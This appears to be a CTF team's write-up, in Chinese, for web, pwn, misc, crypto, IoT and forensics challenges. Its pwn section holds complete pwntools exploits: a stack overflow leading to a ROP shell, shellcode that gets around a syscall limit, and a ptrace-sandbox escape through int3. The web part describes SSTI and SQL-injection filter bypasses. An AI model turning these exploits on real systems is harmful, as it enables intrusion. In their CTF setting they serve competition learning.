解题情况
签到
WEB
Rank-l
测试发现login路由存在ssti 触发点在cpass
空格被过滤了 用request来绕过 但触发点在cpass 所以传的参数也要在cpass
sqli or not
两个waf
这里对,有个匹配 限制了我们json传参
可以利用json.parse绕过
info={“username”:”admin”&info=”password”:”1”}
下面第二层waf
需要我们查询出来 就行 这里利用replace独有的匹配模式
注意$` 我们可以把sql语句打印出来看看效果
发现会给我们逃逸出一个单引号 所以我们直接加个or 1=1–+ 返回永真 注释掉后面的就得到flag
pwn
Vpwn
Push功能存在溢出,可以直接篡改 size
void __fastcall push(struct Data *data, int *value_ptr)
{
int value; // ecx
__int64 size; // rax
value = *value_ptr;
size = data->size;
data->size = size + 1;
data->int_arr6[size] = value; // 栈溢出
}
先利用溢出篡改size为一个较大的值,然后print进行leak libc,然后pop减小size利用push劫持返回地址写rop链 给出exp
from pwn import *
from ctypes import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'
#io = process("./pwn")
io = remote("139.155.126.78", 18291)
elf = ELF("./pwn")
libc = elf.libc
def debug():
gdb.attach(io)
pause()
sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True)
ruf = lambda s : io.recvuntil(s, drop=False)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh = lambda : io.interactive()
"""
gef> p &(((struct _IO_FILE_plus*)0)->file._wide_data)
$3 = (struct _IO_wide_data **) 0xa0
gef> p &(((struct _IO_FILE_plus*)0)->vtable)
$4 = (const struct _IO_jump_t **) 0xd8
"""
dll = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
dll.srand(0x39)
dll.rand()
menu = b"Enter your choice: "
def push(v):
sla(menu, b'2')
sla(b"Enter the value to push: ", byte(v))
def pop():
sla(menu, b'3')
def show():
sla(menu, b'4')
nnn = 20
for _ in range(7):
push(nnn)
show()
rut(b'20 0 0 0 ')
canary_low = int(rut(b' '), 10)
if canary_low < 0:
canary_low += 0x100000000
canary_high = int(rut(b' '), 10)
if canary_high < 0:
canary_high += 0x100000000
canary = (canary_high<<32)|canary_low
info("canary", canary)
rut(b'0 0 0 0 1 0 ')
libc_low = int(rut(b' '), 10)
if libc_low < 0:
libc_low += 0x100000000
libc_high = int(rut(b' '), 10)
if libc_high < 0:
libc_high += 0x100000000
libc_base = (libc_high<<32)|libc_low
libc_base -= 0x29d90
info("libc_base", libc_base)
for _ in range(20-18):
pop()
sleep(0.1)
libc.address = libc_base
pop_rdi = libc_base + 0x000000000002a3e5 # pop rdi ; ret
ret = libc_base + 0x0000000000029139 # ret
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym.system
info("binsh", binsh)
print("go")
push(pop_rdi&0xffffffff)
push((pop_rdi>>32)&0xffffffff)
push(binsh&0xffffffff)
push((binsh>>32)&0xffffffff)
push(ret&0xffffffff)
push((ret>>32)&0xffffffff)
push(system&0xffffffff)
push((system>>32)&0xffffffff)
sla(menu, b'5')
#debug()
sh()
Heavens_door
Shellcode题目,限制输入的shellcode只能有两个syscall,但是shellcode地址是rwx权限,所以可以动态修改shellcode构造syscall,然后题目没有read,但是允许mmap,使用利用open打开文件,然后mmap映射文件内容到0xdead000,最后write输出即可
from pwn import *
from ctypes import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'
#io = remote("139.155.126.78", 31938)
io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc
def debug():
gdb.attach(io)
pause()
sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True)
ruf = lambda s : io.recvuntil(s, drop=False)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh = lambda : io.interactive()
"""
gef> p &(((struct _IO_FILE_plus*)0)->file._wide_data)
$3 = (struct _IO_wide_data **) 0xa0
gef> p &(((struct _IO_FILE_plus*)0)->vtable)
$4 = (const struct _IO_jump_t **) 0xd8
"""
dll = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
dll.srand(0x39)
dll.rand()
menu = b''
sc = shellcraft.open("flag")
sc += shellcraft.mmap(0xdead000, 0x1000, 1, 2, 3, 0)
sc += shellcraft.write(1, 0xdead000, 0x40)
#print(sc)
xxx = asm('''
mov byte ptr[0x10057], 5
''')
sss = xxx+asm(sc)[:-1]
#print(sss)
#print(hex(len(asm(sc))))
print(disasm(sss))
#debug()
#gdb.attach(io, 'b *0x401709')
sl(sss)
#pause()
sh()
babytrace-v2
edit 函数 和 show 函数由于没有负数检查,都存在数组溢出漏洞。
void __fastcall edit(size_t *arrary) // 0xC36
{
__int64 v1; // [rsp+10h] [rbp-220h]
_BYTE buf[520]; // [rsp+20h] [rbp-210h] BYREF
unsigned __int64 v3; // [rsp+228h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( *(_DWORD *)edit_once == 1 )
{
puts("recv:");
read(0, buf, 0x200uLL);
puts("which one?");
v1 = get_long();
if ( v1 > 2 )
exit(1);
puts("set value?");
arrary[v1] = get_long();
puts("Set up for success!");
*(_DWORD *)edit_once = 0;
}
else
{
puts("permission denied!");
}
}
show 函数
void __fastcall show(size_t *array) // 0xD3D
{
__int64 index; // [rsp+18h] [rbp-8h]
if ( *(int *)show_twice > 1 )
{
puts("permission denied!");
}
else
{
puts("which one?");
index = get_long();
if ( index > 2 )
exit(1);
printf("num[%lld] = %lld\n", index, array[index]);
++*(_DWORD *)show_twice;
}
}
主程序处有简单的ptrace沙箱,允许
- SYS_read
- SYS_write
- SYS_exit_group
- SYS_fstat
- SYS_exit
但是其对 SIGTRAP 信号并没有做严格的检查,因此使用 int3 指令即可改变其监控SYSCALL开始的逻辑为监控SYSCALL结束,此时 syscall 就可以正常使用
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int stat_loc; // [rsp+4h] [rbp-ECh] BYREF
__pid_t pid; // [rsp+8h] [rbp-E8h]
__pid_t v6; // [rsp+Ch] [rbp-E4h]
user_regs_struct regs; // [rsp+10h] [rbp-E0h] BYREF
unsigned __int64 v8; // [rsp+E8h] [rbp-8h]
v8 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
pid = fork();
if ( !pid )
{
if ( prctl(1, 9LL) < 0 )
error("prctl error");
if ( ptrace(PTRACE_TRACEME, 0LL, 0LL, 0LL) )
error("hack !!!!");
v6 = getpid();
kill(v6, 19);
sub_DD6();
}
if ( waitpid(pid, &stat_loc, 0) < 0 )
error("waitpid error1");
alarm(0xFu);
ptrace(PTRACE_SETOPTIONS, (unsigned int)pid, 0LL, 1LL);
do
{
ptrace(PTRACE_SYSCALL, (unsigned int)pid, 0LL, 0LL);
if ( waitpid(pid, &stat_loc, 0x40000000) < 0 )
error("waitpid error2");
if ( (stat_loc & 0x7F) == 0 || (unsigned __int8)stat_loc == 127 && (stat_loc & 0xFF00) >> 8 == 11 )
break;
if ( ptrace(PTRACE_GETREGS, (unsigned int)pid, 0LL, ®s) < 0 )
error("GETREGS error");
if ( regs.orig_rax != SYS_write
&& regs.orig_rax != SYS_exit_group
&& regs.orig_rax != SYS_fstat
&& regs.orig_rax != SYS_exit )
{
if ( regs.orig_rax )
{
printf("bad syscall: %llu\n", regs.orig_rax);
regs.orig_rax = -1LL;
if ( ptrace(PTRACE_SETREGS, (unsigned int)pid, 0LL, ®s) < 0 )
error("SETREGS error");
}
}
ptrace(PTRACE_SYSCALL, (unsigned int)pid, 0LL, 0LL);
if ( waitpid(pid, &stat_loc, 0x40000000) < 0 )
error("waitpid error3");
}
while ( (stat_loc & 0x7F) != 0 && ((unsigned __int8)stat_loc != 127 || (stat_loc & 0xFF00) >> 8 != 11) );
return 0LL;
}
脚本
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
def show(index):
sh.sendlineafter(b'choose one >', b'2')
sh.sendlineafter(b'which one?\n', str(index).encode())
def edit(index, value, content):
sh.sendlineafter(b'choose one >', b'1')
sh.sendafter(b'recv:\n', content)
sh.sendlineafter(b'which one?\n', str(index).encode())
sh.sendlineafter(b'set value?\n', str(value).encode())
sh = remote('119.45.238.17', 9999)
show(-13)
sh.recvuntil(b' = ')
stack_addr = int(sh.recvline()) + 0x20
success('stack_addr: ' + hex(stack_addr))
show(-28)
sh.recvuntil(b' = ')
libc_addr = int(sh.recvline()) - 0x219aa0
success('libc_addr: ' + hex(libc_addr))
target = libc_addr + 0x219098 # libc.strlen.got
offset = (target - stack_addr) // 8
rop_chain = flat(
[
# It is to keep @tag1 running normally
libc_addr + 0x0000000000045eb0, # : pop rax ; ret
stack_addr - 0x10000, # writable
libc_addr + 0x000000000002a3e5, # : pop rdi ; ret
stack_addr - 0x10000, # writable
libc_addr + 0x000000000002be51, # : pop rsi ; ret
stack_addr - 0x1f8 - 0xd, # Point the address to @tag2 to restore the ROP chain logic
# int3
# add BYTE PTR [rax],al
# add BYTE PTR [rdi],cl
# add eax,0xfff0003d
# push QWORD PTR [rsi+0xd]
# neg eax
# ret
libc_addr + 0x95d36, # @tag1
libc_addr + 0x000000000002be51, # : pop rsi ; ret, @tag2
libc_addr + 0x000000000002a3e5, # : pop rdi ; ret
stack_addr - 0x40, # flag
libc_addr + 0x000000000002be51, # : pop rsi ; ret
0,
libc_addr + 0x1142f0, # open
libc_addr + 0x000000000002a3e5, # : pop rdi ; ret
3,
libc_addr + 0x000000000002be51, # : pop rsi ; ret
stack_addr - 0x10000, # writable
libc_addr + 0x00000000000796a2, # : pop rdx ; ret
0x100,
libc_addr + 0x1145e0, # read
libc_addr + 0x000000000002a3e5, # : pop rdi ; ret
1,
libc_addr + 0x000000000002be51, # : pop rsi ; ret
stack_addr - 0x10000, # writable
libc_addr + 0x00000000000796a2, # : pop rdx ; ret
0x100,
libc_addr + 0x114680, # write
]
)
edit(offset, libc_addr + 0x0000000000114b5c, rop_chain.ljust(0x1f0, b'\0') + b'flag\0') # add rsp, 0x68 ; ret
sh.interactive()
misc
糟糕的磁盘
直接打开Img提示损坏,使用winhex查看二进制,发现是raid阵列
导入工具,直接重建raid
取出secret以及key.png,veracrypt挂载secret,key.png作为秘钥
CRYPTO
matrixRSA
coppersmith恢复p
求模p下三阶矩阵的阶,然后私钥d是e模阶的逆元
from Crypto.Util.number import *
p = 9707529668721508094878754383636813058761407528950189013789315732447048631740849315894253576415843631107370002912949379757275
n = 132298777672085547096511087266255066285502135020124093900452138262993155381766816424955849796168059204379325075568094431259877923353664926875986223020472585645919414821322880213299188157427622804140996898685564075484754918339670099806186873974594139182324884620018780943630196754736972805036038798946726414009
C = [[130700952989014311434434028098810412089294728270156705618326733322297465714495704072159530618655340096705383710304658044991149662060657745933090473082775425812641300964472543605460360640675949447837208449794830578184968528547366608180085787382376536622136035364815331037493098283462540849880674541138443271941, 71108771421281691064141020659106224750236412635914570166893031318860027728093402453305986361330527563506168063047627979831630830003190075818824767924892107148560048725155587353683119195901991465464478196049173060097561821877061015587704803006499153902855903286456023726638247758665778434728734461065079337757 , 67999998657112350704927993584783146575182096185020115836188544590466205688442741039622382576899587857972463337900200038021257164640987281308471100297698062626107380871262596623736773815445544153508352926374272336154553916204320257697068627063236060520725376727528604938949588845448940836430120015498687885615],
[ 23893343854815011808020457237095285782125931083991537368666368653089096539223297567339111502968295914745423286070638369517207554770793304994639155083818859208362057394004419565231389473766857235749279110546079776040193183912062870294579472815588333047561915280189529367474392709554971446978468118280633281993 , 9711323829269829751519177755915164402658693668631868499383945203627197171508441332211907278473276713066275283973856513580205808517918096017699122954464305556795300874005627001464297760413897074044080665941802588680926430030715299713241442313300920463145903399054123967914968894345491958980945927764454159601 , 44904507975955275578858125671789564568591470104141872573541481508697254621798834910263012676346204850278744732796211742615531019931085695420000582627144871996018850098958417750918177991375489106531511894991744745328626887250694950153424439172667977623425955725695498585224383607063387876414273539268016177401],
[ 67805732998935098446255672500407441801838056284635701147853683333480924477835278030145327818330916280792499177503535618310624546400536573924729837478349680007368781306805363621196573313903080315513952415535369016620873765493531188596985587834408434835281527678166509365418905214174034794683785063802543354572 , 13486048723056269216825615499052563411132892702727634833280269923882908676944418624902325737619945647093190397919828623788245644333036340084254490542292357044974139884304715033710988658109160936809398722070125690919829906642273377982021120160702344103998315875166038849942426382506293976662337161520494820727 , 95932690738697024519546289135992512776877884741458439242887603021792409575448192508456813215486904392440772808083658410285088451086298418303987628634150431725794904656250453314950126433260613949819432633322599879072805834951478466009343397728711205498602927752917834774516505262381463414617797291857077444676]
]
e = 65537
ph = p << 100
R.<x> = PolynomialRing(Zmod(n))
f = ph + x
root = f.monic().small_roots(X=2^100,beta=0.4)
p = ph + root[0]
q = n // p
op = p*(p-1)*(p+1)*(p^2+p+1)
C = Matrix(Zmod(p),C)
d = inverse(e,op)
M = C**d
msg = b""
for m in M.list():
msg += long_to_bytes(int(m))
print(msg)
# DASCTF{48ccbfd88061d7ff3d5325148ec55d11}
IOT
blink
在ida strings找到关键函数
在关键函数附近找到莫斯密码
解码后得到数据:rtosandmorseisveryeasyhahhaha
后又在摩斯密码附近直接找到该字符串,验证成功
sharkp
追踪找http流,在其中找到一个elf文件,导出,dump下来
丢安恒云沙箱跑出可疑的IP地址
IP地址: 115.195.88.161
然后发现追踪tcp流,看到setSystemAdmin接口似乎有执行命令
Flag: setSystemAdmin_115.195.88.161
DS
easydatalog
error.log存在
保存为zip 但需要密码
发现存在jpg的图像
将数据提出来后 保存为jpg 用盲水印得到密码
解密zip 找到张三的信息提交